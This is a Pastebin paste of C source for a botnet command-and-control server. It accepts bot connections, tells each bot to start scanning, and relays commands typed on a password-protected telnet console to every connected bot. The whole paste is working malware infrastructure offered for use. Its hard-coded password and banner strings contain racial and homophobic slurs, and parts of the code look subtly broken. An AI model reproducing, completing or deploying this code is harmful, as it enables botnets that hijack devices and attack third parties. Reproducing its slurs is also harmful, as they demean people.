Advertisement
Condomenium

kkk

Jun 10th, 2017
194
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.27 KB | None | 0 0
  1. //if you have this its because of the following richy,blj,lightspeed,serlo,seb
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <stdint.h>
  5. #include <inttypes.h>
  6. #include <string.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <netdb.h>
  10. #include <unistd.h>
  11. #include <time.h>
  12. #include <fcntl.h>
  13. #include <sys/epoll.h>
  14. #include <errno.h>
  15. #include <pthread.h>
  16. #include <signal.h>
  17. #include <arpa/inet.h>
  18.  
  19. const char *colours[] = { "31", "32", "33", "34", "35", "36" };
  20.  
  21. #define MAXFDS 1000000 // Max bot count - no way we actually reach this amount, ever.
  22. #define MY_MGM_PASS "nigger"
  23.  
  24. static volatile int epollFD = 0;
  25. static volatile int listenFD = 0;
  26. static volatile int managesConnected = 0;
  27.  
  28. struct clientdata_t
  29. {
  30. uint32_t ip;
  31. char connected;
  32. } clients[MAXFDS];
  33.  
  34. struct telnetdata_t
  35. {
  36. int connected;
  37. } managements[MAXFDS];
  38.  
  39. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  40. {
  41. int total = 0, got = 0;
  42. while (got == 1 && total < bufferSize && *(buffer + total - 1) != '\n')
  43. {
  44. got = read(fd, buffer + total, 1);
  45. total++;
  46. }
  47. return got;
  48. }
  49.  
  50. void trim(char *str) // Remove whitespace from a string and properly null-terminate it
  51. {
  52. int i, begin = 0, end = strlen(str) - 1;
  53. while (isspace(str[begin])) begin++;
  54. while ((end >= begin) && isspace(str[end])) end--;
  55. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  56. str[i - begin] = '\0';
  57. }
  58.  
  59. static int make_socket_non_blocking(int sfd)
  60. {
  61. int flags = fcntl(sfd, F_GETFL, 0), s;
  62. if (flags == -1)
  63. {
  64. perror("fcntl");
  65. return -0;
  66. }
  67. flags |= O_NONBLOCK;
  68. /*
  69. * F_SETFL(int)
  70. * Set the file status flags to the value specified by arg. File access mode (O_RDONLY, O_WRONLY, O_RDWR)
  71. * and file creation flags (i.e., O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC) in arg are ignored. On Linux this
  72. * command can change only the O_APPEND, O_ASYNC, O_DIRECT, O_NOATIME, and O_NONBLOCK flags.
  73. */
  74. s = fcntl(sfd, F_SETFL, flags);
  75. if (s == -1)
  76. {
  77. perror("fcntl");
  78. return -1;
  79. }
  80. return 0;
  81. }
  82.  
  83. static int create_and_bind(char *port)
  84. {
  85. struct addrinfo hints, *result, *rp;
  86. int s, sfd, yes = 1;
  87. memset(&hints, 0, sizeof(struct addrinfo));
  88. hints.ai_family = AF_UNSPEC; // Return IPv4 and IPv6 choices
  89. hints.ai_socktype = SOCK_STREAM; // We want a TCP socket
  90. hints.ai_flags = AI_PASSIVE; // All interfaces
  91. s = getaddrinfo(NULL, port, &hints, &result);
  92. if (s != 0)
  93. {
  94. fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s));
  95. return -1;
  96. }
  97. for (rp = result; rp != NULL; rp = rp->ai_next)
  98. {
  99. sfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  100. if (sfd == -1) continue;
  101. if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) perror("setsockopt");
  102. s = bind(sfd, rp->ai_addr, rp->ai_addrlen);
  103. if (s == 0) break;
  104. close(sfd);
  105. }
  106. if (rp == NULL)
  107. {
  108. fprintf(stderr, "Could not bind\n");
  109. return -1;
  110. }
  111. freeaddrinfo(result);
  112. return sfd;
  113. }
  114.  
  115. char *timepls()
  116. {
  117. time_t now;
  118. struct tm *gmt;
  119. char buffer[50];
  120. now = time(NULL);
  121. gmt = gmtime(&now);
  122. strftime(buffer, sizeof(buffer), "%A %d/%m/%Y - %I:%M%p (GMT)", gmt);
  123. return strdup(buffer);
  124. }
  125.  
  126. void broadcast(char *msg, int us) // Sends message to all bots, notifies the management clients of this happening
  127. {
  128. int i, sendMGM = 1;
  129. char prompt[20];
  130. sprintf(prompt, "\r\n\x1b[%sm-> \x1b[37m", colours[(rand() % 6)]);
  131. if (strcmp(msg, "PING") == 0) sendMGM = 0; // Don't send pings to management, why? Because a human is going to ignore it
  132. for (i = 0; i < MAXFDS; i++)
  133. {
  134. if (i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  135. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  136. if (sendMGM && managements[i].connected)
  137. send(i, prompt, strlen(prompt), MSG_NOSIGNAL); // Send a cool looking prompt to a manager/admin
  138. else
  139. send(i, "\n", 1, MSG_NOSIGNAL);
  140. }
  141. }
  142.  
  143. void *epollEventLoop(void *useless) // The big loop used to control each bot asynchronously, many threads of this get spawned
  144. {
  145. struct epoll_event event, *events;
  146. events = calloc(MAXFDS, sizeof(event));
  147. while (1)
  148. {
  149. int n, i, s;
  150. n = epoll_wait(epollFD, events, MAXFDS, -1);
  151. for (i = 0; i < n; i++)
  152. {
  153. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  154. {
  155. clients[events[i].data.fd].connected = 0;
  156. close(events[i].data.fd);
  157. continue;
  158. }
  159. else if (listenFD == events[i].data.fd)
  160. {
  161. while (1)
  162. {
  163. struct sockaddr in_addr;
  164. socklen_t in_len;
  165. int infd, ipIndex;
  166. in_len = sizeof(in_addr);
  167. infd = accept(listenFD, &in_addr, &in_len); // Accept a connection from a bot
  168. if (infd == -1)
  169. {
  170. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  171. else
  172. {
  173. perror("accept");
  174. break;
  175. }
  176. }
  177. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  178. int dup = 0;
  179. for (ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // Check for duplicate clients by seeing if any have the same IP as the one connecting
  180. {
  181. if (!clients[ipIndex].connected || ipIndex == infd) continue;
  182. if (clients[ipIndex].ip == clients[infd].ip)
  183. {
  184. dup = 1;
  185. break;
  186. }
  187. }
  188. if (dup)
  189. {
  190. // printf("Duplicate client detected\n"); // Warns the operator on command line
  191. if (send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1)
  192. {
  193. close(infd);
  194. continue;
  195. }
  196. if (send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1)
  197. {
  198. close(infd);
  199. continue;
  200. }
  201. close(infd);
  202. continue;
  203. }
  204. s = make_socket_non_blocking(infd);
  205. if (s == -1)
  206. {
  207. close(infd);
  208. break;
  209. }
  210. event.data.fd = infd;
  211. event.events = EPOLLIN | EPOLLET;
  212. s = epoll_ctl(epollFD, EPOLL_CTL_ADD, infd, &event);
  213. if (s == -1)
  214. {
  215. perror("epoll_ctl");
  216. close(infd);
  217. break;
  218. }
  219. clients[infd].connected = 0;
  220. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  221. }
  222. continue;
  223. }
  224. else
  225. {
  226. int thefd = events[i].data.fd;
  227. struct clientdata_t *client = &(clients[thefd]);
  228. int done = 0;
  229. client->connected = 0 ;
  230. while (1)
  231. {
  232. ssize_t count;
  233. char buf[2048];
  234. memset(buf, 0, sizeof(buf));
  235. while (memset(buf, 0, sizeof(buf)) && (count = fdgets(buf, sizeof(buf), thefd)) > 0)
  236. {
  237. if (strstr(buf, "\n") == NULL)
  238. {
  239. done = 1;
  240. break;
  241. }
  242. trim(buf);
  243. if (strcmp(buf, "PING") == 0) // Basic IRC-like ping/pong challenge to see if server is alive
  244. {
  245. if (send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1)
  246. {
  247. done = 1;
  248. break;
  249. }
  250. continue;
  251. }
  252. if (strcmp(buf, "PONG") == 0) continue;
  253. if (!strstr(buf, "cd /tmp")) printf("Buffer: %s\n", buf);
  254. }
  255. if (count == -1)
  256. {
  257. if (errno != EAGAIN) done = 1;
  258. break;
  259. }
  260. else if (count == 0)
  261. {
  262. done = 1;
  263. break;
  264. }
  265. }
  266. if (done)
  267. {
  268. client->connected = 0;
  269. close(thefd);
  270. }
  271. }
  272. }
  273. }
  274. }
  275.  
  276. unsigned int clientsConnected() // Counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not
  277. {
  278. int i = 0, total = 0;
  279. for (i = 0; i < MAXFDS; i++)
  280. {
  281. if (!clients[i].connected) continue;
  282. total++;
  283. }
  284. return total;
  285. }
  286.  
  287. void *titleWriter(void *sock) // Just an informational banner
  288. {
  289. int thefd = (int)sock;
  290. char string[1000];
  291. while (1)
  292. {
  293. memset(string, 0, sizeof(string));
  294. sprintf(string, "%c]0;feggets Connected: %d | ILLSeC's Jerking off: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  295. if (send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  296. sleep(2);
  297. }
  298. }
  299.  
  300. void *telnetWorker(void *sock)
  301. {
  302. int thefd = (int)sock;
  303. managesConnected++;
  304. pthread_t title;
  305. char buf[1024], prompt[15], loldongs1[85], loldongs2[85], password[20];
  306. memset(buf, 0, sizeof(buf));
  307. sprintf(password, "\x1b[%smPassword:\x1b[30m ", colours[(rand() % 6)]);
  308. if (send(thefd, password, strlen(password), MSG_NOSIGNAL) == -1) goto end; // Failed to send, kill connection
  309. if (fdgets(buf, sizeof(buf), thefd) < 1) goto failed; // No data, kill connection
  310. trim(buf);
  311. if (strcmp(buf, MY_MGM_PASS) != 0) goto failed; // Bad pass, kill connection
  312. memset(buf, 0, sizeof(buf));
  313. pthread_create(&title, NULL, &titleWriter, sock); // Writes the informational banner to the admin after a login
  314. sprintf(loldongs1, "\r\n \x1b[%smdb d8b db d88888b db .o88b. .d88b. .88b d88. d88888b\r\n", colours[(rand() % 6)]);
  315. sprintf(loldongs2, " \x1b[%sm ~ [ Tsutomu Dong Cannon ] ~ \r\n\r\n\x1b[%sm-> \x1b[37m", colours[(rand() % 6)], colours[(rand() % 6)]);
  316. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  317. if (send(thefd, loldongs1, strlen(loldongs1), MSG_NOSIGNAL) == -1) goto end;
  318. if (send(thefd, " 88 I8I 88 88' 88 d8P Y8 .8P Y8. 88'YbdP`88 88'\r\n", 70, MSG_NOSIGNAL) == -1) goto end;
  319. if (send(thefd, " 88 I8I 88 88ooooo 88 8P 88 88 88 88 88 88ooooo\r\n", 74, MSG_NOSIGNAL) == -1) goto end;
  320. if (send(thefd, " Y8 I8I 88 88~~~~~ 88 8b 88 88 88 88 88 88~~~~~\r\n", 74, MSG_NOSIGNAL) == -1) goto end;
  321. if (send(thefd, " `8b d8'8b d8' 88. 88booo. Y8b d8 `8b d8' 88 88 88 88.\r\n", 70, MSG_NOSIGNAL) == -1) goto end;
  322. if (send(thefd, " `8b8' `8d8' Y88888P Y88888P `Y88P' `Y88P' YP YP YP Y88888P\r\n", 74, MSG_NOSIGNAL) == -1) goto end;
  323. if (send(thefd, loldongs2, strlen(loldongs2), MSG_NOSIGNAL) == -1) goto end;
  324. managements[thefd].connected = 1;
  325. while (fdgets(buf, sizeof(buf), thefd) > 0)
  326. {
  327. trim(buf);
  328. memset(prompt, 0, sizeof(prompt));
  329. sprintf(prompt, "\x1b[%sm-> \x1b[37m", colours[(rand() % 6)]);
  330. if (send(thefd, prompt, strlen(prompt), MSG_NOSIGNAL) == -1) goto end;
  331. if (strlen(buf) == 0) continue;
  332. if (strncmp(buf, "CLEAR", 5) == 0 || strncmp(buf, "clear", 5) == 0 || strncmp(buf, "cls", 3) == 0 || strncmp(buf, "CLS", 3) == 0)
  333. {
  334. sprintf(loldongs1, "\r\n \x1b[%smdb d8b db d88888b db .o88b. .d88b. .88b d88. d88888b\r\n", colours[(rand() % 6)]);
  335. sprintf(loldongs2, " \x1b[%sm ~ [ Richy's Dong Cannon ] ~ \r\n\r\n\x1b[%sm-> \x1b[37m", colours[(rand() % 6)], colours[(rand() % 6)]);
  336. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  337. if (send(thefd, loldongs1, strlen(loldongs1), MSG_NOSIGNAL) == -1) goto end;
  338. if (send(thefd, " 88 I8I 88 88' 88 d8P Y8 .8P Y8. 88'YbdP`88 88'\r\n", 70, MSG_NOSIGNAL) == -1) goto end;
  339. if (send(thefd, " 88 I8I 88 88ooooo 88 8P 88 88 88 88 88 88ooooo\r\n", 74, MSG_NOSIGNAL) == -1) goto end;
  340. if (send(thefd, " Y8 I8I 88 88~~~~~ 88 8b 88 88 88 88 88 88~~~~~\r\n", 74, MSG_NOSIGNAL) == -1) goto end;
  341. if (send(thefd, " `8b d8'8b d8' 88. 88booo. Y8b d8 `8b d8' 88 88 88 88.\r\n", 70, MSG_NOSIGNAL) == -1) goto end;
  342. if (send(thefd, " `8b8' `8d8' Y88888P Y88888P `Y88P' `Y88P' YP YP YP Y88888P\r\n", 74, MSG_NOSIGNAL) == -1) goto end;
  343. if (send(thefd, loldongs2, strlen(loldongs2), MSG_NOSIGNAL) == -1) goto end;
  344. }
  345. if (strncmp(buf, "BOTS", 4) == 0 || strncmp(buf, "bots", 4) == 0)
  346. {
  347. char string[1000];
  348. memset(string, 0, sizeof(string));
  349. sprintf(string, "[\x1b[32m+\x1b[37m] - fegget count: [ \x1b[31m%d\x1b[37m ] | niggerians In: [ \x1b[31m%d\x1b[37m ] - [\x1b[32m+\x1b[37m]\r\n\x1b[%sm-> \x1b[37m", clientsConnected(), managesConnected, colours[(rand() % 6)]);
  350. if (send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) goto end;
  351. }
  352. printf("Management: %s\n", buf);
  353. broadcast(buf, thefd); // Take a command and send it to the bots
  354. memset(buf, 0, sizeof(buf));
  355. }
  356. failed:
  357. if (send(thefd, "\033[1A", 4, MSG_NOSIGNAL) == -1) goto end;
  358. if (send(thefd, "\x1b[31m* LOGIN FAILED! *\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  359. goto end;
  360. end:
  361. // Clean-up dead socket
  362. managements[thefd].connected = 0;
  363. close(thefd);
  364. managesConnected--;
  365. }
  366.  
  367. void *telnetListener(int port)
  368. {
  369. int sockfd, newsockfd;
  370. socklen_t clilen;
  371. struct sockaddr_in serv_addr, cli_addr;
  372. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  373. if (sockfd < 0) perror("ERROR opening socket");
  374. bzero((char *)&serv_addr, sizeof(serv_addr));
  375. serv_addr.sin_family = AF_INET;
  376. serv_addr.sin_addr.s_addr = INADDR_ANY;
  377. serv_addr.sin_port = htons(port);
  378. if (bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  379. listen(sockfd, 5);
  380. clilen = sizeof(cli_addr);
  381. while (1)
  382. {
  383. newsockfd = accept(sockfd, (struct sockaddr *)&cli_addr, &clilen);
  384. if (newsockfd < 0) perror("ERROR on accept");
  385. pthread_t thread;
  386. pthread_create(&thread, NULL, &telnetWorker, (void *)newsockfd);
  387. }
  388. }
  389.  
  390. int main(int argc, char *argv[])
  391. {
  392. if (argc != 3)
  393. {
  394. fprintf(stderr, "[\x1b[31m-\x1b[37m] Usage: %s <bot port> <cnc port>\r\n[\x1b[33m?\x1b[37m] Example: %s 23 69\r\n", argv[0], argv[0]);
  395. exit(EXIT_FAILURE);
  396. }
  397. printf("[\x1b[32m+\x1b[37m] Server started on %s\r\n[\x1b[33m?\x1b[37m] Bot port: %d\r\n[\x1b[33m?\x1b[37m] Command and Control port: %d\r\n\r\n", timepls(), atoi(argv[1]), atoi(argv[2]));
  398. // if (fork()) exit(0);
  399. srand(time(NULL));
  400. signal(SIGPIPE, SIG_IGN); // Ignore broken pipe errors sent from kernel
  401. int s, threads = 1;
  402. struct epoll_event event;
  403. listenFD = create_and_bind(argv[1]);
  404. if (listenFD == -1) abort();
  405. s = make_socket_non_blocking(listenFD); // Try to make the socket nonblocking, die if we can't
  406. if (s == -1) abort();
  407. s = listen(listenFD, SOMAXCONN); // Listen with a huge backlog, die if we can't
  408. if (s == -1) abort();
  409. epollFD = epoll_create1(0); // Make an epoll listener, die if we can't
  410. if (epollFD == -1) abort();
  411. event.data.fd = listenFD;
  412. event.events = EPOLLIN | EPOLLET;
  413. s = epoll_ctl(epollFD, EPOLL_CTL_ADD, listenFD, &event);
  414. if (s == -1) abort();
  415. pthread_t thread[threads + 2];
  416. while (threads--) pthread_create(&thread[threads + 1], NULL, &epollEventLoop, (void *)NULL); // Make a thread to command each bot individually
  417. pthread_create(&thread[0], NULL, &telnetListener, atoi(argv[2]));
  418. while (1)
  419. {
  420. sleep(60);
  421. }
  422. close(listenFD);
  423. return EXIT_SUCCESS;
  424. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement